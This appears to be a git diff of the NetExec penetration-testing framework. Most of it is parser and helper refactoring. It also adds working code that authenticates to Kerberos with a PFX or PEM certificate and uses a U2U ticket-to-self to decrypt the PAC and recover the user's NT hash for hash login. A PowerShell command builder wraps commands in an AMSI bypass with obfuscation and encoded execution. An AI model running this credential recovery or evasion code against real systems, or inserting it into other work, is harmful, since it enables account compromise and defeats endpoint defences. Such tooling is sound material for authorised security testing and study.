value = ValueSpec(buf, offset + 22 + self._xml.length + 5 + x * 4, offset + 22 + self._xml.length + 5 + num_values * 4 + values_length)
self.values.append(value)
values_length += value.length
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
else:
nxc_logger.display(f"Unknown template token {hex(next_token)}")
def xml(self, template=None):
return self._xml.xml(self)
class BinXML:
def __init__(self, buf, offset):
header_token, major_version, minor_version, flags, next_token = struct.unpack_from("<BBBBB", buf, offset)
if next_token == 0x0C:
self._element = TemplateInstance(buf, offset + 4)
elif next_token == 0x01 or next_token == 0x41:
self._element = Element(buf, offset + 4)
else:
nxc_logger.display(f"Unknown binxml token {hex(next_token)}")
self.length = 4 + self._element.length
def xml(self, template=None):
return self._element.xml(template)
class ResultSet:
def __init__(self, buf):
total_size, header_size, event_offset, bookmark_offset, binxml_size = struct.unpack_from("<IIIII", buf)
self._xml = BinXML(buf, 0x14)
def xml(self):
return self._xml.xml()
+2 -1
View File
@@ -1,9 +1,10 @@
import os
from termcolor import colored
from nxc.paths import NXC_PATH
def write_log(data, log_name):
logs_dir = os.path.join(os.path.expanduser("~/.nxc"), "logs")
logs_dir = os.path.join(NXC_PATH, "logs")
with open(os.path.join(logs_dir, log_name), "w") as log_output:
log_output.write(data)
+167 -2
View File
@@ -1,8 +1,13 @@
from enum import Enum
import random
import string
import re
import inspect
import os
from termcolor import colored
from ipaddress import ip_address
from nxc.logger import nxc_logger
from time import strftime, gmtime
def identify_target_file(target_file):
@@ -22,7 +27,7 @@ def gen_random_string(length=10):
def validate_ntlm(data):
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
return bool(allowed.match(data))
@@ -40,7 +45,7 @@ def called_from_cmd_args():
# Stolen from https://github.com/pydanny/whichcraft/
def which(cmd, mode=os.F_OK | os.X_OK, path=None):
"""Find the path which conforms to the given mode on the PATH for a command.
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
Note: This function was backported from the Python 3 source code.
@@ -77,3 +82,163 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
name = os.path.join(p, thefile)
if _access_check(name, mode):
return name
def get_bloodhound_info():
"""
Detect which BloodHound package is installed (regular or CE) and its version.
Returns
-------
tuple: (package_name, version, is_ce)
- package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None)
- version: Version string of the installed package (or None if not installed)
- is_ce: Boolean indicating if it's the Community Edition
"""
import importlib.metadata
import importlib.util
# First check if any BloodHound package is available to import
if importlib.util.find_spec("bloodhound") is None:
return None, None, False
# Try to get version info from both possible packages
version = None
package_name = None
is_ce = False
# Check for bloodhound-ce first
try:
version = importlib.metadata.version("bloodhound-ce")
package_name = "bloodhound-ce"
is_ce = True
except importlib.metadata.PackageNotFoundError:
# Check for regular bloodhound
try:
version = importlib.metadata.version("bloodhound")
package_name = "bloodhound"
# Even when installed as 'bloodhound', check if it's actually the CE version
if version and ("ce" in version.lower() or "community" in version.lower()):
is_ce = True
except importlib.metadata.PackageNotFoundError:
# No bloodhound package found via metadata
pass
# In case we can import it but metadata is not working, check the module itself
if not version:
try:
import bloodhound
version = getattr(bloodhound, "__version__", "unknown")
package_name = "bloodhound"
# Check if it's CE based on version string
if "ce" in version.lower() or "community" in version.lower():
is_ce = True
package_name = "bloodhound-ce"
except ImportError:
pass
return package_name, version, is_ce
def detect_if_ip(target):
try:
ip_address(target)
return True
except Exception:
return False
def d2b(a):
"""
Function used to convert password property flags from decimal to binary
format for easier interpretation of individual flag bits.
"""
tbin = []
while a:
tbin.append(a % 2)
a //= 2
t2bin = tbin[::-1]
if len(t2bin) != 8:
for _x in range(6 - len(t2bin)):
t2bin.insert(0, 0)
return "".join([str(g) for g in t2bin])
def convert(low, high, lockout=False):
"""
Convert Windows FILETIME (64-bit) values to human-readable time strings.
Windows stores time intervals as 64-bit values representing 100-nanosecond
intervals since January 1, 1601. This function converts these values to
readable format like "30 days 5 hours 15 minutes".
Args:
low (int): Low 32 bits of the FILETIME value
high (int): High 32 bits of the FILETIME value
lockout (bool): If True, treats the value as a lockout duration (simpler conversion)
Returns:
str: Human-readable time string (e.g., "42 days 5 hours 30 minutes") or
special values like "Not Set", "None", or "[-] Invalid TIME"
"""
time = ""
tmp = 0
if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000):
return "Not Set"
if low == 0 and high == 0:
return "None"
if not lockout:
if low != 0:
high = abs(high + 1)
else:
high = abs(high)
low = abs(low)
tmp = low + (high << 32) # convert to 64bit int
tmp *= 1e-7 # convert to seconds
else:
tmp = abs(high) * (1e-7)
try:
minutes = int(strftime("%M", gmtime(tmp)))
hours = int(strftime("%H", gmtime(tmp)))
days = int(strftime("%j", gmtime(tmp))) - 1
except ValueError:
return "[-] Invalid TIME"
if days > 1:
time += f"{days} days "
elif days == 1:
time += f"{days} day "
if hours > 1:
time += f"{hours} hours "
elif hours == 1:
time += f"{hours} hour "
if minutes > 1:
time += f"{minutes} minutes "
elif minutes == 1:
time += f"{minutes} minute "
return time
def display_modules(args, modules):
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
# Add category filter for module listing
if args.list_modules and args.list_modules.lower() != category.name.lower():
continue
if len([module for module in modules.values() if module["category"] == category]) > 0:
nxc_logger.highlight(colored(f"{category.name}", color, attrs=["bold"]))
for name, props in sorted(modules.items()):
if props["category"] == category:
nxc_logger.display(f"{name:<25} {props['description']}")
class CATEGORY(Enum):
ENUMERATION = "Enumeration"
CREDENTIAL_DUMPING = "Credential Dumping"
PRIVILEGE_ESCALATION = "Privilege Escalation"
+1 -1
View File
@@ -31,4 +31,4 @@ def parse_challenge(challange):
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
return target_info
+524
View File
@@ -0,0 +1,524 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan)
#
# Description:
# This script will use an existing TGT to request a PAC for the current user using U2U.
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
# used for silver tickets and for backwards compatibility with other tooling.
#
# References:
#
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
#
# Based on examples from minikerberos by skelsec
# Parts of this code was inspired by the following project by @rubin_mor
# https://github.com/morRubin/AzureADJoinedMachinePTC
#
# Author:
# Tamas Jos (@skelsec)
# Dirk-jan Mollema (@_dirkjan)
#
import os
import secrets
import hashlib
import datetime
import random
import base64
from binascii import unhexlify, hexlify
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from minikerberos.pkinit import PKINIT, DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
from impacket.krb5.types import Principal, KerberosTime, Ticket
# Imports for pfx_auth
from minikerberos.network.clientsocket import KerberosClientSocket
from minikerberos.common.target import KerberosTarget
from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
from nxc.paths import NXC_PATH
from nxc.logger import nxc_logger
class myPKINIT(PKINIT):
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
"""
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
pfxdata = f.read()
if b64:
pfxdata = base64.b64decode(pfxdata)
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
pkinit = myPKINIT()
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
if not pfxpass:
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.hazmat.primitives import serialization
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
pem_key = privkey.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
pkinit.privkey = load_private_key(parse_private(pem_key))
pem_cert = cert.public_bytes(
encoding=serialization.Encoding.PEM
)
pkinit.certificate = parse_certificate(pem_cert)
else:
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
pkinit.setup(dh_params=dh_params)
return pkinit
@staticmethod
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = parse_certificate(f.read())
with open(privkeyfile, "rb") as f:
pkinit.privkey = load_private_key(parse_private(f.read()))
pkinit.setup(dh_params=dh_params)
return pkinit
def sign_authpack(self, data, wrap_signed=False):
return self.sign_authpack_native(data, wrap_signed)
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
nxc_logger.display("Generating DH params...")
nxc_logger.display("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
elif isinstance(dh_params, bytes):
self.diffie = DirtyDH.from_asn1(dh_params)
elif isinstance(dh_params, DirtyDH):
self.diffie = dh_params
else:
raise Exception("DH params must be either a bytearray or a dict")
def build_asreq(self, domain=None, cname=None, kdcopts=None):
if kdcopts is None:
kdcopts = ["forwardable", "renewable", "renewable-ok"]
if isinstance(kdcopts, list):
kdcopts = set(kdcopts)
if cname is not None:
if isinstance(cname, str):
cname = [cname]
else:
cname = [self.cname]
now = datetime.datetime.now(datetime.timezone.utc)
kdc_req_body_data = {}
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
kdc_req_body_data["realm"] = domain.upper()
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["nonce"] = secrets.randbits(31)
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
authenticator = {}
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = now.replace(microsecond=0)
authenticator["nonce"] = secrets.randbits(31)
authenticator["paChecksum"] = checksum
dp = {}
dp["p"] = self.diffie.p
dp["g"] = self.diffie.g
dp["q"] = 0 # mandatory parameter, but it is not needed
pka = {}
pka["algorithm"] = "1.2.840.10046.2.1"
pka["parameters"] = keys.DomainParameters(dp)
spki = {}
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
spki["public_key"] = self.diffie.get_public_key()
authpack = {}
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
authpack["clientDHNonce"] = self.diffie.dh_nonce
authpack = AuthPack(authpack)
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
payload = PA_PK_AS_REQ()
payload["signedAuthPack"] = signed_authpack
pa_data_1 = {}
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
pa_data_1["padata-value"] = payload.dump()
pa_data_0 = {}
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
asreq = {}
asreq["pvno"] = 5
asreq["msg-type"] = 10
asreq["padata"] = [pa_data_0, pa_data_1]
asreq["req-body"] = kdc_req_body
return AS_REQ(asreq).dump()
def sign_authpack_native(self, data, wrap_signed=False):
"""
Creating PKCS7 blob which contains the following things:
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
2. the certificate used to sign the data blob
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
"""
da = {}
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
si = {}
si["version"] = "v1"
si["sid"] = cms.IssuerAndSerialNumber({
"issuer": self.certificate.issuer,
"serial_number": self.certificate.serial_number,
})
si["digest_algorithm"] = algos.DigestAlgorithm(da)
si["signed_attrs"] = [
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
ec["content"] = data
sd = {}
sd["version"] = "v3"
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
sd["certificates"] = [self.certificate]
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
if wrap_signed is True:
ci = {}
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
ci["content"] = cms.SignedData(sd)
return cms.ContentInfo(ci).dump()
return cms.SignedData(sd).dump()
def decrypt_asrep(self, as_rep):
def truncate_key(value, keysize):
output = b""
currentNum = 0
while len(output) < keysize:
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
if len(output) + len(currentDigest) > keysize:
output += currentDigest[:keysize - len(output)]
break
output += currentDigest
currentNum += 1
return output
for pa in as_rep["padata"]:
if pa["padata-type"] == 17:
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
break
else:
raise Exception("PA_PK_AS_REP not found!")
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
sd = ci["content"]
keyinfo = sd["encap_content_info"]
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
raise Exception("Keyinfo content type unexpected value")
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
shared_key = self.diffie.exchange(pubkey)
server_nonce = pkasrep["serverDHNonce"]
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
t_key = truncate_key(fullKey, 32)
elif etype == Enctype.AES128:
t_key = truncate_key(fullKey, 16)
elif etype == Enctype.RC4:
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
nxc_logger.info("AS-REP encryption key (you might need this later):")
nxc_logger.info(hexlify(t_key).decode("utf-8"))
dec_data = cipher.decrypt(key, 3, enc_data)
encasrep = EncASRepPart.load(dec_data).native
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
class GETPAC:
def printPac(self, data, key=None):
nthash = None
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
0]
# So here we have the PAC
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
buff = pacType["Buffers"]
found = False
for _bufferN in range(pacType["cBuffers"]):
infoBuffer = PAC_INFO_BUFFER(buff)
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
if infoBuffer["ulType"] == 2:
found = True
credinfo = PAC_CREDENTIAL_INFO(data)
newCipher = _enctype_table[credinfo["EncryptionType"]]
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
type1 = TypeSerialization1(out)
# I'm skipping here 4 bytes with its the ReferentID for the pointer
newdata = out[len(type1) + 4:]
pcc = PAC_CREDENTIAL_DATA(newdata)
for cred in pcc["Credentials"]:
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
nxc_logger.info("Recovered NT Hash")
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
buff = buff[len(infoBuffer):]
if not found:
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
return nthash
def __init__(self, username, domain, kdcHost, key, tgt):
self.__username = username
self.__domain = domain.upper()
self.__kdcHost = kdcHost
self.__asrep_key = key
self.__tgt = tgt["KDC_REP"]
self.__cipher = tgt["cipher"]
self.__sessionKey = tgt["sessionKey"]
def dump(self):
# Try all requested protocols until one works.
tgt = self.__tgt
cipher = self.__cipher
sessionKey = self.__sessionKey
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT["ticket"])
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decodedTGT["crealm"])
clientName = Principal()
clientName.from_asn1(decodedTGT, "crealm", "cname")
seq_set(authenticator, "cname", clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
nxc_logger.debug("AUTHENTICATOR")
nxc_logger.debug(authenticator.prettyPrint() + "\n")
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq["pvno"] = 5
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq["padata"] = noValue
tgsReq["padata"][0] = noValue
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq["padata"][0]["padata-value"] = encodedApReq
reqBody = seq_set(tgsReq, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, "sname", serverName.components_to_asn1)
reqBody["realm"] = str(decodedTGT["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(reqBody, "etype",
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
nxc_logger.debug("Final TGS")
nxc_logger.debug(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
nxc_logger.info("Requesting ticket to self with PAC")
r = sendReceive(message, self.__domain, self.__kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
nxc_logger.debug("TGS_REP")
nxc_logger.debug(tgs.prettyPrint())
cipherText = tgs["ticket"]["enc-part"]["cipher"]
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
specialkey = Key(18, unhexlify(self.__asrep_key))
return self.printPac(plainText, specialkey)
def pfx_auth(self):
"""Handles the authentication using a PFX or PEM file"""
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
dhparams = {
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
"g": 2
}
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
username = self.args.username[0]
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
self.logger.info("Requesting TGT")
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
try:
res = sock.sendrecv(req)
except Exception as e:
self.logger.fail(str(e))
return False
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
ccache_minikerberos = CCACHE()
ccache_minikerberos.add_tgt(res.native, encasrep)
ccache_minikerberos.to_file(log_ccache)
self.logger.info(f"Saved TGT to file {log_ccache}")
self.logger.info(f"Using Kerberos Cache {log_ccache}")
ccache = impacket_CCache.loadFile(log_ccache)
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
nthash = dumper.dump()
if not self.kerberos:
self.hash_login(self.domain, username, nthash)
else:
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
self.logger.info("Successfully authenticated using Certificate")
return True
+9 -22
View File
@@ -12,6 +12,7 @@ import random
obfuscate_ps_scripts = False
def replace_singles(s):
"""Replaces single quotes with a double quote
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
@@ -27,6 +28,7 @@ def replace_singles(s):
"""
return s.replace("'", r"\"")
def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
@@ -56,19 +58,6 @@ def encode_ps_command(command):
return b64encode(command.encode("UTF-16LE")).decode()
def is_powershell_installed():
"""
Check if PowerShell is installed.
Returns
-------
bool: True if PowerShell is installed, False otherwise.
"""
if which("powershell"):
return True
return False
def obfs_ps_script(path_to_script):
"""
Obfuscates a PowerShell script.
@@ -90,7 +79,7 @@ def obfs_ps_script(path_to_script):
obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
if is_powershell_installed() and obfuscate_ps_scripts:
if bool(which("powershell")) and obfuscate_ps_scripts:
if os.path.exists(obfs_ps_script):
nxc_logger.display("Using cached obfuscated Powershell script")
with open(obfs_ps_script) as script:
@@ -116,12 +105,11 @@ def obfs_ps_script(path_to_script):
and debug statements from a PowerShell source file.
"""
# strip block comments
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read())
# strip blank lines, lines starting with #, and verbose/debug statements
return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
@@ -139,7 +127,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
str: The generated PowerShell command.
"""
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
if custom_amsi:
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
with open(custom_amsi) as file_in:
@@ -154,7 +142,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
command = f"{amsi_bypass} {ps_command}"
nxc_logger.debug(f"Generated PS command:\n {command}\n")
if obfs:
@@ -163,7 +151,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
while True:
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
obfs_command = invoke_obfuscation(command)
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
if len(command) <= 8191:
break
@@ -176,11 +164,11 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
command = f"powershell.exe -noni -nop -w 1 {command}"
if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Final command: {command}")
return command
@@ -429,4 +417,3 @@ def invoke_obfuscation(script_string):
obfuscated_script = choice(invoke_options)
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
return obfuscated_script
+6 -11
View File
@@ -8,6 +8,7 @@ from os.path import dirname
from os.path import join as path_join
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
from nxc.logger import NXCAdapter
from nxc.paths import NXC_PATH
@@ -30,15 +31,12 @@ class ModuleLoader:
elif not hasattr(module, "description"):
self.logger.fail(f"{module_path} missing the description variable")
module_error = True
elif not hasattr(module, "category") or module.category not in [CATEGORY.ENUMERATION, CATEGORY.CREDENTIAL_DUMPING, CATEGORY.PRIVILEGE_ESCALATION]:
self.logger.fail(f"{module_path} missing the category variable or invalid category")
module_error = True
elif not hasattr(module, "supported_protocols"):
self.logger.fail(f"{module_path} missing the supported_protocols variable")
module_error = True
elif not hasattr(module, "opsec_safe"):
self.logger.fail(f"{module_path} missing the opsec_safe variable")
module_error = True
elif not hasattr(module, "multiple_hosts"):
self.logger.fail(f"{module_path} missing the multiple_hosts variable")
module_error = True
elif not hasattr(module, "options"):
self.logger.fail(f"{module_path} missing the options function")
module_error = True
@@ -46,9 +44,7 @@ class ModuleLoader:
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
if module_error:
return False
return True
return not module_error
def load_module(self, module_path):
"""Load a module, initializing it and checking that it has the proper attributes"""
@@ -100,8 +96,7 @@ class ModuleLoader:
"description": module_spec.description,
"options": module_spec.options.__doc__,
"supported_protocols": module_spec.supported_protocols,
"opsec_safe": module_spec.opsec_safe,
"multiple_hosts": module_spec.multiple_hosts,
"category": module_spec.category,
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
}
}
+17 -24
View File
@@ -2,14 +2,12 @@ from types import ModuleType
from importlib.machinery import SourceFileLoader
from os import listdir
from os.path import join as path_join
from os.path import dirname, exists, expanduser
from os.path import dirname, exists
import nxc
class ProtocolLoader:
def __init__(self):
self.nxc_path = expanduser("~/.nxc")
def load_protocol(self, protocol_path):
loader = SourceFileLoader("protocol", protocol_path)
protocol = ModuleType(loader.name)
